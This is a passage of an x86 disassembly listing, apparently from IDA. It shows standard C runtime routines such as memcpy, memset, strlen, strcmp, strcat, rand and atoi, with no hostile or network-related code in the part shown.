		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_419343
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4173EC
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4173F9
; ---------------------------------------------------------------------------


loc_4173EC:				; CODE XREF: sub_4173AC+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41922E
		pop	ecx
		pop	ecx


loc_4173F9:				; CODE XREF: sub_4173AC+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4173AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4173FE	proc near		; CODE XREF: sub_401000+2Ep
					; sub_401D79+46p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43B56C, eax
		retn
sub_4173FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_417408	proc near		; CODE XREF: sub_4010B2+CBp
					; sub_4010B2+13Fp ...
		mov	eax, dword_43B56C
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43B56C, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_417408	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417430	proc near		; CODE XREF: sub_4010B2+281p
					; sub_401447+180p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_417483
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_417477
		neg	ecx
		and	ecx, 3
		jz	short loc_417459
		sub	edx, ecx


loc_417453:				; CODE XREF: sub_417430+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_417453


loc_417459:				; CODE XREF: sub_417430+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_417477
		rep stosd
		test	edx, edx
		jz	short loc_41747D


loc_417477:				; CODE XREF: sub_417430+18j
					; sub_417430+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_417477


loc_41747D:				; CODE XREF: sub_417430+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417483:				; CODE XREF: sub_417430+Aj
		mov	eax, [esp+arg_0]
		retn
sub_417430	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417490	proc near		; CODE XREF: sub_4010B2+22Dp
					; sub_4010B2+23Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4174B0
		cmp	edi, eax
		jb	loc_417628


loc_4174B0:				; CODE XREF: sub_417490+16j
		test	edi, 3
		jnz	short loc_4174CC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4174EC
		rep movsd
		jmp	off_4175D8[edx*4]
; ---------------------------------------------------------------------------


loc_4174CC:				; CODE XREF: sub_417490+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4174E4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_4174EC+4[eax*4]
; ---------------------------------------------------------------------------


loc_4174E4:				; CODE XREF: sub_417490+46j
		jmp	dword ptr loc_4175E8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4174EC:				; CODE XREF: sub_417490+31j
					; sub_417490+8Ej ...
		jmp	off_41756C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_417500
		dd offset loc_41752C
		dd offset loc_417550
; ---------------------------------------------------------------------------


loc_417500:				; DATA XREF: sub_417490+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4174EC
		rep movsd
		jmp	off_4175D8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41752C:				; DATA XREF: sub_417490+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4174EC
		rep movsd
		jmp	off_4175D8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_417550:				; DATA XREF: sub_417490+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4174EC
		rep movsd
		jmp	off_4175D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41756C	dd offset loc_4175CF	; DATA XREF: sub_417490:loc_4174ECr
		dd offset loc_4175BC
		dd offset loc_4175B4
		dd offset loc_4175AC
		dd offset loc_4175A4
		dd offset loc_41759C
		dd offset loc_417594
		dd offset loc_41758C
; ---------------------------------------------------------------------------


loc_41758C:				; CODE XREF: sub_417490:loc_4174ECj
					; DATA XREF: sub_417490+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_417594:				; CODE XREF: sub_417490:loc_4174ECj
					; DATA XREF: sub_417490+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41759C:				; CODE XREF: sub_417490:loc_4174ECj
					; DATA XREF: sub_417490+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4175A4:				; CODE XREF: sub_417490:loc_4174ECj
					; DATA XREF: sub_417490+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4175AC:				; CODE XREF: sub_417490:loc_4174ECj
					; DATA XREF: sub_417490+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4175B4:				; CODE XREF: sub_417490:loc_4174ECj
					; DATA XREF: sub_417490+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4175BC:				; CODE XREF: sub_417490:loc_4174ECj
					; DATA XREF: sub_417490+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4175CF:				; CODE XREF: sub_417490:loc_4174ECj
					; DATA XREF: sub_417490:off_41756Co
		jmp	off_4175D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4175D8	dd offset loc_4175E8	; DATA XREF: sub_417490+35r
					; sub_417490+92r ...
		dd offset loc_4175F0
		dd offset loc_4175FC
		dd offset loc_417610
; ---------------------------------------------------------------------------


loc_4175E8:				; CODE XREF: sub_417490+35j
					; sub_417490+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4175F0:				; CODE XREF: sub_417490+35j
					; sub_417490+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4175FC:				; CODE XREF: sub_417490+35j
					; sub_417490+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_417610:				; CODE XREF: sub_417490+35j
					; sub_417490+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417628:				; CODE XREF: sub_417490+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41765C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_417650
		std
		rep movsd
		cld
		jmp	off_417770[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_417650:				; CODE XREF: sub_417490+1B1j
					; sub_417490+208j ...
		neg	ecx
		jmp	off_417720[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41765C:				; CODE XREF: sub_417490+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_417674
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_417674+4[eax*4]
; ---------------------------------------------------------------------------


loc_417674:				; CODE XREF: sub_417490+1D6j
					; DATA XREF: sub_417490+1DDr
		jmp	off_417770[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	[esi+41h], dh
		add	[eax-2FFFBE8Ah], ch
		jbe	short loc_4176C8
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_417650
		std
		rep movsd
		cld
		jmp	off_417770[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_417650
		std
		rep movsd
		cld


loc_4176C8:				; CODE XREF: sub_417490+1F5j
		jmp	off_417770[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_417650
		std
		rep movsd
		cld
		jmp	off_417770[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_417724
		dd offset loc_41772C
		dd offset loc_417734
		dd offset loc_41773C
		dd offset loc_417744
		dd offset loc_41774C
		dd offset loc_417754
off_417720	dd offset loc_417767	; DATA XREF: sub_417490+1C2r
; ---------------------------------------------------------------------------


loc_417724:				; DATA XREF: sub_417490+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41772C:				; DATA XREF: sub_417490+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_417734:				; DATA XREF: sub_417490+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41773C:				; DATA XREF: sub_417490+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_417744:				; DATA XREF: sub_417490+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41774C:				; DATA XREF: sub_417490+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_417754:				; DATA XREF: sub_417490+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_417767:				; CODE XREF: sub_417490+1C2j
					; DATA XREF: sub_417490:off_417720o
		jmp	off_417770[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_417770	dd offset loc_417780	; DATA XREF: sub_417490+1B7r
					; sub_417490:loc_417674r ...
		dd offset loc_417788
		dd offset loc_417798
		dd offset loc_4177AC
; ---------------------------------------------------------------------------


loc_417780:				; CODE XREF: sub_417490+1B7j
					; sub_417490:loc_417674j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417788:				; CODE XREF: sub_417490+1B7j
					; sub_417490:loc_417674j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417798:				; CODE XREF: sub_417490+1B7j
					; sub_417490:loc_417674j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4177AC:				; CODE XREF: sub_417490+1B7j
					; sub_417490:loc_417674j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_417490	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4177D0	proc near		; CODE XREF: sub_4010B2+FCp
					; sub_4010B2+118p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41781C


loc_4177E0:				; CODE XREF: sub_4177D0+3Cj
					; sub_4177D0+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_417814
		or	al, al
		jz	short loc_417810
		cmp	ah, [ecx+1]
		jnz	short loc_417814
		or	ah, ah
		jz	short loc_417810
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_417814
		or	al, al
		jz	short loc_417810
		cmp	ah, [ecx+3]
		jnz	short loc_417814
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_4177E0
		mov	edi, edi


loc_417810:				; CODE XREF: sub_4177D0+18j
					; sub_4177D0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417814:				; CODE XREF: sub_4177D0+14j
					; sub_4177D0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41781C:				; CODE XREF: sub_4177D0+Ej
		test	edx, 1
		jz	short loc_417838
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_417814
		inc	ecx
		or	al, al
		jz	short loc_417810
		test	edx, 2
		jz	short loc_4177E0


loc_417838:				; CODE XREF: sub_4177D0+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_417814
		or	al, al
		jz	short loc_417810
		cmp	ah, [ecx+1]
		jnz	short loc_417814
		or	ah, ah
		jz	short loc_417810
		add	ecx, 2
		jmp	short loc_4177E0
sub_4177D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417860	proc near		; CODE XREF: sub_4010B2+19Ep
					; sub_401A6D+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_417879
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_417879:				; CODE XREF: sub_417860+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_417860	endp


; =============== S U B	R O U T	I N E =======================================



sub_417894	proc near		; CODE XREF: sub_41791F+4p
					; sub_41DD12+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41789C:				; CODE XREF: sub_417894+34j
		cmp	dword_43B7AC, 1
		jle	short loc_4178B4
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_4178C3
; ---------------------------------------------------------------------------


loc_4178B4:				; CODE XREF: sub_417894+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43B5A0
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_4178C3:				; CODE XREF: sub_417894+1Ej
		test	eax, eax
		jz	short loc_4178CA
		inc	edi
		jmp	short loc_41789C
; ---------------------------------------------------------------------------


loc_4178CA:				; CODE XREF: sub_417894+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_4178DA
		cmp	esi, 2Bh
		jnz	short loc_4178DE


loc_4178DA:				; CODE XREF: sub_417894+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_4178DE:				; CODE XREF: sub_417894+44j
		xor	ebx, ebx


loc_4178E0:				; CODE XREF: sub_417894+7Bj
		cmp	dword_43B7AC, 1
		jle	short loc_4178F5
		push	4
		push	esi
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_417900
; ---------------------------------------------------------------------------


loc_4178F5:				; CODE XREF: sub_417894+53j
		mov	eax, off_43B5A0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_417900:				; CODE XREF: sub_417894+5Fj
		test	eax, eax
		jz	short loc_417911
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_4178E0
; ---------------------------------------------------------------------------


loc_417911:				; CODE XREF: sub_417894+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41791A
		neg	eax


loc_41791A:				; CODE XREF: sub_417894+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_417894	endp


; =============== S U B	R O U T	I N E =======================================



sub_41791F	proc near		; CODE XREF: sub_4013E9+12p
					; sub_4013E9+1Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_417894
		pop	ecx
		retn
sub_41791F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41792A	proc near		; CODE XREF: sub_401447+318p
					; sub_401D79+460p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_419343
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_417969
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_417976
; ---------------------------------------------------------------------------


loc_417969:				; CODE XREF: sub_41792A+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41922E
		pop	ecx
		pop	ecx


loc_417976:				; CODE XREF: sub_41792A+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41792A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417980	proc near		; CODE XREF: sub_401D79+2D8p
					; sub_401D79+2F8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_4179FA
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_4179E7


loc_417998:				; CODE XREF: sub_417980+52j
					; sub_417980+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_4179BA
		test	al, al
		jz	short loc_4179B4


loc_4179A9:				; CODE XREF: sub_417980+32j
		mov	al, [esi]
		inc	esi


loc_4179AC:				; CODE XREF: sub_417980+3Fj
		cmp	al, dl
		jz	short loc_4179BA
		test	al, al
		jnz	short loc_4179A9


loc_4179B4:				; CODE XREF: sub_417980+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4179BA:				; CODE XREF: sub_417980+23j
					; sub_417980+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_4179AC
		lea	edi, [esi-1]


loc_4179C4:				; CODE XREF: sub_417980+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_4179F3
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_417998
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_4179F3
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_4179C4
		jmp	short loc_417998
; ---------------------------------------------------------------------------


loc_4179E7:				; CODE XREF: sub_417980+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_418636
; ---------------------------------------------------------------------------


loc_4179F3:				; CODE XREF: sub_417980+49j
					; sub_417980+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4179FA:				; CODE XREF: sub_417980+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_417980	endp


; =============== S U B	R O U T	I N E =======================================



sub_417A00	proc near		; CODE XREF: sub_405A6A+2BFp
					; sub_40A74C+75p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_417A71
sub_417A00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417A10	proc near		; CODE XREF: sub_402368+484p
					; sub_406047+15Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_417A2C


loc_417A1D:				; CODE XREF: sub_417A10+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_417A5F
		test	ecx, 3
		jnz	short loc_417A1D


loc_417A2C:				; CODE XREF: sub_417A10+Bj
					; sub_417A10+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417A2C
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_417A6E
		test	ah, ah
		jz	short loc_417A69
		test	eax, 0FF0000h
		jz	short loc_417A64
		test	eax, 0FF000000h
		jz	short loc_417A5F
		jmp	short loc_417A2C
; ---------------------------------------------------------------------------


loc_417A5F:				; CODE XREF: sub_417A10+12j
					; sub_417A10+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_417A71
; ---------------------------------------------------------------------------


loc_417A64:				; CODE XREF: sub_417A10+44j
		lea	edi, [ecx-2]
		jmp	short loc_417A71
; ---------------------------------------------------------------------------


loc_417A69:				; CODE XREF: sub_417A10+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_417A71
; ---------------------------------------------------------------------------


loc_417A6E:				; CODE XREF: sub_417A10+39j
		lea	edi, [ecx-4]


loc_417A71:				; CODE XREF: sub_417A00+5j
					; sub_417A10+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_417A96


loc_417A7D:				; CODE XREF: sub_417A10+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_417AE8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_417A7D
		jmp	short loc_417A96
; ---------------------------------------------------------------------------


loc_417A91:				; CODE XREF: sub_417A10+9Ej
					; sub_417A10+B8j
		mov	[edi], edx
		add	edi, 4


loc_417A96:				; CODE XREF: sub_417A10+6Bj
					; sub_417A10+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417A91
		test	dl, dl
		jz	short loc_417AE8
		test	dh, dh
		jz	short loc_417ADF
		test	edx, 0FF0000h
		jz	short loc_417AD2
		test	edx, 0FF000000h
		jz	short loc_417ACA
		jmp	short loc_417A91
; ---------------------------------------------------------------------------


loc_417ACA:				; CODE XREF: sub_417A10+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417AD2:				; CODE XREF: sub_417A10+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417ADF:				; CODE XREF: sub_417A10+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417AE8:				; CODE XREF: sub_417A10+72j
					; sub_417A10+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_417A10	endp


; =============== S U B	R O U T	I N E =======================================



sub_417AF0	proc near		; CODE XREF: sub_402368+93p
					; sub_402368+A1p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_417B10


loc_417AFC:				; CODE XREF: sub_417AF0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_417B43
		test	ecx, 3
		jnz	short loc_417AFC
		add	eax, 0


loc_417B10:				; CODE XREF: sub_417AF0+Aj
					; sub_417AF0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417B10
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_417B61
		test	ah, ah
		jz	short loc_417B57
		test	eax, 0FF0000h
		jz	short loc_417B4D
		test	eax, 0FF000000h
		jz	short loc_417B43
		jmp	short loc_417B10
; ---------------------------------------------------------------------------


loc_417B43:				; CODE XREF: sub_417AF0+11j
					; sub_417AF0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417B4D:				; CODE XREF: sub_417AF0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417B57:				; CODE XREF: sub_417AF0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417B61:				; CODE XREF: sub_417AF0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_417AF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417B70	proc near		; CODE XREF: sub_402822+8p
					; sub_402E92+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_417B90


loc_417B7C:				; CODE XREF: sub_417B70+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_417B7C


loc_417B90:				; CODE XREF: sub_417B70+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_417B70	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B9F	proc near		; CODE XREF: sub_403A47+7Ap
					; sub_403A47+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_417BB3


loc_417BAB:				; CODE XREF: sub_417B9F+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_417BAB


loc_417BB3:				; CODE XREF: sub_417B9F+Aj
		mov	edx, [esp+arg_4]
		push	esi


loc_417BB8:				; CODE XREF: sub_417B9F+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_417BB8
		pop	esi
		retn
sub_417B9F	endp


; =============== S U B	R O U T	I N E =======================================



sub_417BC9	proc near		; CODE XREF: sub_404D78+35Bp
					; sub_404D78+3D7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		push	esi
		mov	dx, [ecx]
		lea	esi, [eax+2]
		mov	[eax], dx


loc_417BDB:				; CODE XREF: sub_417BC9+21j
		inc	ecx
		inc	ecx
		test	dx, dx
		jz	short loc_417BEC
		mov	dx, [ecx]
		mov	[esi], dx
		inc	esi
		inc	esi
		jmp	short loc_417BDB
; ---------------------------------------------------------------------------


